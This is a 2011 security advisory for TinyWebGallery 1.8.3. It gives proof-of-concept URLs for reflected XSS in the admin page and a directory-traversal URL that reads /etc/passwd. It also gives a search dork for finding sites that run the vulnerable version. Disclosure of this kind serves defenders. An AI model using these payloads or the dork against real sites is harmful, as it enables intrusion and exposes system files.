TinyWebGallery: XSS + Directory Traversal

[Yam Mesicka <yammesicka@xxxxxxxxx>]

Date: 01/02/2011 (dd/MM/yyyy)
Script: TinyWebGallery
Version: 1.8.3 (No fixes yet, might work on other versions too).
Home: http://www.tinywebgallery.com

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Vulnerability: Non-persistent XSS
Where:
~ File: /admin/index.php
~ Parameters: sview, tview, dir, item.

Examples:
http://localhost/twg183/admin/index.php?sview="onmouseover=alert(String.fromCharCode(88,83,83));"
http://localhost/twg183/admin/index.php?tview="onmouseover=alert(String.fromCharCode(88,83,83));"
http://localhost/twg183/admin/index.php?dir=<script>alert("xss")</script>
http://localhost/twg183/admin/index.php?action=chmod&item=<script>alert("xss")</script>
http://localhost/twg183/twg183/admin/index.php?action=chmod&item=";><script>alert("xss")</script>
...

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Vulnerability: Directory Traversal.
Where:
~ File: /admin/index.php
~ Parameters: item

Example:
http://localhost/twg183/admin/index.php?action=edit&item=../../../etc/passwd

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Dork: "Photo Gallery powered by TinyWebGallery 1.8.3" (about 1.46M results)

- Yam Mesicka
- Israel
- www.Mesicka.com